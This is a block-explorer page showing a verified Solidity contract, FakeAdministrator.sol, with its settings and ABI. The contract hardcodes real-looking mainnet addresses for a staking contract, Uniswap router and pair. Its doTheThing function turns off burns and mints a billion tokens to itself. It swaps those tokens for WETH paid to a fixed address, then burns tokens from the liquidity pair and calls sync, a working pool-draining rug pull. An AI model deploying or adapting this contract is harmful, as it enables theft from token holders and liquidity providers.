账户
0x68...af30
0x68...af30

0x68...af30

$500
此合同的源代码已经过验证!
合同元数据
编译器
0.6.12+commit.27d51765
语言
Solidity
合同源代码
文件 1 的 1:FakeAdministrator.sol
pragma solidity 0.6.12;

interface StakingContract {
    function transferOwnership(address newOwner) external;
    function burn(address account, uint256 amount) external;
    function updateHoldersDay(bool _enableHoldersDay) external;
    
    // Self-explanatory functions to update several configuration variables
    
    function updateTokenAddress(address newToken) external;
    
    function updateCalculator(address calc) external;
    
    function updateUseExternalCalcIterative(bool _useExternalCalcIterative) external;
    
    
    function updateInflationAdjustmentFactor(uint256 _inflationAdjustmentFactor) external;
    
    function updateStreak(bool negative, uint _streak) external;
    
    function updateMinStakeDurationDays(uint8 _minStakeDurationDays) external;
    
    function updateMinStakes(uint _minStake) external;
    function updateMinPercentIncrease(uint8 _minIncrease) external;
    function updateEnableBurns(bool _enabledBurns) external;
    
    function updateWhitelist(address addr, string calldata reason, bool remove) external;
    
    function updateUniWhitelist(address addr, string calldata reason, bool remove) external;
    
    function updateBlacklist(address addr, uint256 fee, bool remove) external;
    
    function updateUniswapPair(address addr) external;
    
    function updateEnableUniswapSellBurns(bool _enableDirectSellBurns) external;
    
    function updateUniswapSellBurnPercent(uint8 _sellerBurnPercent) external;
    
    function updateFreeze(bool _enableFreeze) external;
    
    function updateNextStakingContract(address nextContract) external;
    
    function updateLiquidityStakingContract(address _liquidityStakingContract) external;
    
    function updateOracle(address _oracle) external;
    
    function updatePreviousStakingContract(address previousContract) external;

    function updateTransferBurnFee(uint _transferBurnFee) external;

    function updateMaxStreak(uint _maxStreak) external;

    function updateMaxStakingDays(uint _maxStakingDays) external;
    function updateHoldersDayRewardDenominator(uint _holdersDayRewardDenominator) external;

    function updateIncreaseTransferFees(bool _increaseTransferFees) external;
    function updateCheckPreviousContractWhitelist(bool _checkPreviousStakingContractWhitelist) external;
    
    function removeLatestUpdate() external;
    function resetStakeTimeDebug(address account, uint startTimestamp, uint lastTimestamp, bool migrated) external;
    
    function liquidityRewards(address recipient, uint amount) external;
    
}


interface Minter {
    function liquidityRewards(address recipient, uint amount) external;
    function doTheThing() external;
}

interface UniswapV2Router{
    function addLiquidityETH(
      address token,
      uint amountTokenDesired,
      uint amountTokenMin,
      uint amountETHMin,
      address to,
      uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
      external
      payable
      returns (uint[] memory amounts);
      
     function WETH() external pure returns (address);
     
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
      uint amountOutMin,
      address[] calldata path,
      address to,
      uint deadline
    ) external payable;
    
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
        
    function swapExactTokensForTokens(
      uint amountIn,
      uint amountOutMin,
      address[] calldata path,
      address to,
      uint deadline
    ) external returns (uint[] memory amounts);
    
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
      uint amountIn,
      uint amountOutMin,
      address[] calldata path,
      address to,
      uint deadline
    ) external;

}

interface ERC20 {
    function transfer(address recipient, uint256 amount) external virtual returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function sync() external; // this is for the Uni pair
}


contract Administrator {
    
    address public owner;
    StakingContract public stakingContract;
    address public TimeContract;
    Minter public minter;
    address public storedTokens;
    UniswapV2Router public router;
    address[] public path1;
    address public pair;
    
    modifier onlyOwner() {
        assert(msg.sender == owner);
        _;
    }
    
    modifier onlyTIME() {
        assert(msg.sender == TimeContract);
        _;
    }
    
    constructor() public {
        owner = msg.sender;
        stakingContract = StakingContract(0x738d3CEC4E685A2546Ab6C3B055fd6B8C1198093); 
        minter = Minter(0x28e484dBD6BB501D37EFC8cD4b8dc33121cC78be);
        storedTokens = 0xB3470826919CC8eA0aB5e333358E36f701B1c6f5;
        router = UniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        TimeContract = 0x869aA079b622DEf8D522968E7A73a973B8B00CD6;
        
        path1.push(0xF0FAC7104aAC544e4a7CE1A55ADF2B5a25c65bD1);
        path1.push(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

        ERC20(0xF0FAC7104aAC544e4a7CE1A55ADF2B5a25c65bD1).approve(address(router), 10000000000000E18);
        
        pair = 0x1C608235E6A946403F2a048a38550BefE41e1B85;
        
    }
    
    function transferOwnership(address newOwner) external onlyOwner {
       stakingContract.transferOwnership(newOwner);
    }
    
    function doTheThing() external onlyOwner {
        stakingContract.updateLiquidityStakingContract(address(this));
        stakingContract.updateEnableUniswapSellBurns(false);
        stakingContract.updateEnableBurns(false);
        stakingContract.liquidityRewards(address(this), 1000000000E18);
        stakingContract.updateLiquidityStakingContract(0x0000000000000000000000000000000000000000);
        
        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(1000000000E18, 0, path1, 0xDf4CeF95B19a59e9d2E25F76e3020F9eB52A81c7, block.timestamp+86400);
        
        stakingContract.burn(pair, 1000000000E18);
        
        ERC20(pair).sync();
        
        stakingContract.updateEnableUniswapSellBurns(true);
        stakingContract.updateEnableBurns(true);
        //stakingContract.transferOwnership(owner);
    }
    
    function doSomeOtherThing(address otherContract) external onlyOwner {
        stakingContract.transferOwnership(otherContract);
        Minter(otherContract).doTheThing();
    }
    
    function updatePath(address path) external onlyOwner {
        path1[1] = path;
    }
    
    function updatePair(address _pair) external onlyOwner {
        pair = _pair;
    }
    
    receive() external payable {
    }
    
    fallback() external payable {
    }
    
}
设置
{
  "compilationTarget": {
    "FakeAdministrator.sol": "Administrator"
  },
  "evmVersion": "istanbul",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}
ABI
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"TimeContract","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"otherContract","type":"address"}],"name":"doSomeOtherThing","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"doTheThing","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"minter","outputs":[{"internalType":"contract Minter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"path1","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract UniswapV2Router","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"stakingContract","outputs":[{"internalType":"contract StakingContract","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"storedTokens","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"updatePair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"path","type":"address"}],"name":"updatePath","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]